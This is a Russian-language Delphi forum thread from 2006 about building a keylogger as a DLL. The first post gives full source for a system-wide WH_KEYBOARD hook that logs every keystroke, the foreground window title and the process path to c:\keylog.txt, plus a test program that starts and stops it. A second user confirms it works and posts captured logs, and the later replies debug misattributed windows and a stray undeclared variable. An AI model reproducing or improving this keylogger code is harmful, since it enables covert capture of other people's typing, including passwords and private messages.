Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Клавиатурный шпион, DLL реализация 
:(
    Опции темы
Dmitry_177
Дата 22.9.2006, 18:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



Почему при запуске функции RunHook файл создается, а запись в него не происходит в обработчике хука SysMsgProc? Я думал над тем что вдруг переменная F: TextFile портится, т.к. слышал что общие переменные плохо хранятся в библиотеке... Можно что-нибудь с этим поделать? Может ктонибудь сталкивался с такой проблемой? Я пробовал и так, что прям в обработчике SysMsgProc открывать файл, делать запись и закрывать... Так происходит запись в файл, но так делать не очень хорошо наверно, т.к. лишний раз комп тоже грузить не охото... Хоть так, через одно место, но запись происходит, но так почему-то функции GetModuleFileName и GetWindowText как-то не правильно работают... Если вызвать функцию RunHook из библиотеки и вводить разные символы в разных окнах, то я заметил некую странность, если в каком-то окне вводятся впервые символы с момента запуска библиотеки, то эти функции определяют все правильно, а если потом ввести какие-то символы в другом какомнибудь окне(это другое окно, если тоже впервые вводятся символы, тоже определится функциями), а потом вводить в том окне в каком уже вводили, то эти функции уже не определяют почему-то что это другое окно(не то в котором вводилось до этого), и происходит запись в файл так, коббудто я ввожу символы не в том окне в котором на самом деле, а в том в котором определилось этими функциями в последний раз...

Библиотека:
Код

library MyLib;

uses
 Windows, Messages, Dialogs, SysUtils;

var
 FText: TextFile;
 SysHook: HHook = 0;
 SelfMFN, SelfFC: String;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 FormCaption: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pText : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pText, 3);
     ToAsciiEx(wParam, 0, KeyBS, pText, 0, GetKeyboardLayout(0));
     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
     GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));

     // AssignFile(FText, 'c:\keylog.txt');        //это если в обработчике открывать файл для записи и закрывать потом
     // if FileExists('c:\keylog.txt') then
     //   Append(FText)
     // else
     //   Rewrite(FText);

     if SelfMFN <> ModuleFileName then
        begin
          SelfMFN := ModuleFileName;
          SelfFC := FormCaption;
          WriteLn(FText, #13#10);
          WriteLn(FText, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
          WriteLn(FText, '#File Name#: ' + ModuleFileName);
          WriteLn(FText, '#Form Caption#: ' + FormCaption);
          Write(FText, '#Text#: ' + pText^);
        end
      else
        begin
          if SelfFC <> FormCaption then
            begin
              SelfFC := FormCaption;
              WriteLn(FText, #13#10);
              WriteLn(FText, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
              WriteLn(FText, '#Form Caption#: ' + FormCaption);
              Write(FText, '#Text#: ' + pText^);
            end
          else
            Write(FText, pText^);
        end;

     // CloseFile(FText);

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 AssignFile(FText, 'c:\keylog.txt');
 if FileExists('c:\keylog.txt') then
   Append(FText)
 else
   Rewrite(FText);
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;
 CloseFile(FText);
end;

exports
 RunHook index 1,
 StopHook index 2;


Тестовая программа для запуска библиотеки:
Код

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
 end;

var
 Form1: TForm1;

procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = 'Run' then
   begin
     Button1.Caption := 'Stop';
     RunHook;
   end
 else
   if Button1.Caption = 'Stop' then
     begin
       StopHook;
       Button1.Caption := 'Run';
     end;
end;

end.

PM MAIL   Вверх
drkot
Дата 24.9.2006, 14:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Помоему работает.


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 24.9.2006, 16:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



Попробуй..
PM MAIL   Вверх
drkot
Дата 24.9.2006, 16:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Так не с потолка же сказал. Попробовал.
Переключение между процессами пишет замечательно.
вот тебе пачка компромата на меня  smile 
Код

24.Сентябрь(09).2006  -  14:12
#File Name#: C:\DrKot\My Projects\Новая папка\Project1.exe
#Form Caption#: {C:\DrKot\My Projects\Новая папка} - Far
#Text#:        


24.Сентябрь(09).2006  -  14:12
#Form Caption#: {C:\DrKot\My Projects} - Far
#Text#: gfhl;kdjh;ldfkjh;ldfjhd;lfjhd;l

24.Сентябрь(09).2006  -  14:12
#Form Caption#: {C:\} - Far
#Text#:  

24.Сентябрь(09).2006  -  14:12
#Form Caption#: просмотр keylog.txt - Far
#Text#:    



--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 24.9.2006, 17:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



Немного не понял меня, попробуй так: Запусти "блокнот", введи там чтонибудь, потом, не закрывая его, запусти например "Internet Explorer" введи в поле адреса тоже чтонибудь, а потом открой тот блокнот который уже запущен и там опять что-нибудь введи... в логах увидишь, что то что в последний раз вводил в блокноте будет записано как в Internet Explorer-е...

Вот смотри:
24.Сентябрь(09).2006  -  18:20
#File Name#: C:\WINDOWS\system32\notepad.exe
#Form Caption#: Безымянный - Блокнот
#Text#: 1234567890

24.Сентябрь(09).2006  -  18:20
#File Name#: C:\Program Files\Internet Explorer\IEXPLORE.EXE
#Form Caption#: about:blank - Microsoft Internet Explorer
#Text#: 12345678901234567890

То что выделенно жирным, я вводил в блокноте а не в Internet Explorer-е...

А еще такой вопрос, файл открывал и закрывал в SysMsgProc или в RunHook и StopHook?

Это сообщение отредактировал(а) Dmitry_177 - 24.9.2006, 17:30
PM MAIL   Вверх
drkot
Дата 24.9.2006, 17:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Цитата(Dmitry_177 @  24.9.2006,  17:26 Найти цитируемый пост)
А еще такой вопрос, файл открывал и закрывал в SysMsgProc или в RunHook и StopHook? 

Все оставил как было в предложенном исходнике (кроме одной переменной лишней)

Так это у тебя с указателями бока. внимательно оттестиру и будет работать. 
Переменныюе очищай и пр.
А лучше исользуй обычные паскалевские строки (проще глюки вылавливать будет).


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 24.9.2006, 17:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



эту? в FreeMem(pTransChar); вместо pTransChar - pText? тоже не работает...((( У меня так и было, только я тут забыл поменять... А в чем компилировал, какая версия Delphi?
PM MAIL   Вверх
drkot
Дата 24.9.2006, 18:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Цитата(Dmitry_177 @  24.9.2006,  17:46 Найти цитируемый пост)
А в чем компилировал, какая версия Delphi?

10 триал.


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 25.9.2006, 15:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



Про переменные я правильно сказал, так сделал?

Delphi 2006 в смысле?
PM MAIL   Вверх
drkot
Дата 25.9.2006, 17:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Цитата(Dmitry_177 @  25.9.2006,  15:21 Найти цитируемый пост)
Delphi 2006 в смысле?

да.


Цитата(Dmitry_177 @  25.9.2006,  15:21 Найти цитируемый пост)
Про переменные я правильно сказал, так сделал?

не понял (в смысл фразы невьехал).


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 25.9.2006, 18:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



Все оставил как было в предложенном исходнике (кроме одной переменной лишней)

Какую лишнюю переменную убрал?
PM MAIL   Вверх
drkot
Дата 25.9.2006, 18:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



Цитата(Dmitry_177 @  22.9.2006,  18:41 Найти цитируемый пост)
     FreeMem(pTransChar);

вот эту. она нигде не описана и неиспользуется


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Dmitry_177
Дата 25.9.2006, 20:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



FreeMem(pText); - вот так правильно будет. Т.к. мы выделяем память, GetMem(pText, 3);

Установил я Delphi 2006, перекомпилировал в нем свой код, всеравно не работает.. Всеравно все тоже самое...(((
PM MAIL   Вверх
Dmitry_177
Дата 27.9.2006, 00:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет



А выложи свои откомпилированные файлы, может у меня и твои тоже не будут работать...
PM MAIL   Вверх
drkot
Дата 28.9.2006, 12:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ищущий
***


Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8



У меня пишется нормально (то что набрано для окна то и пишет)
файл отправлю на мыло.


--------------------
Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.
PM   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0885 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.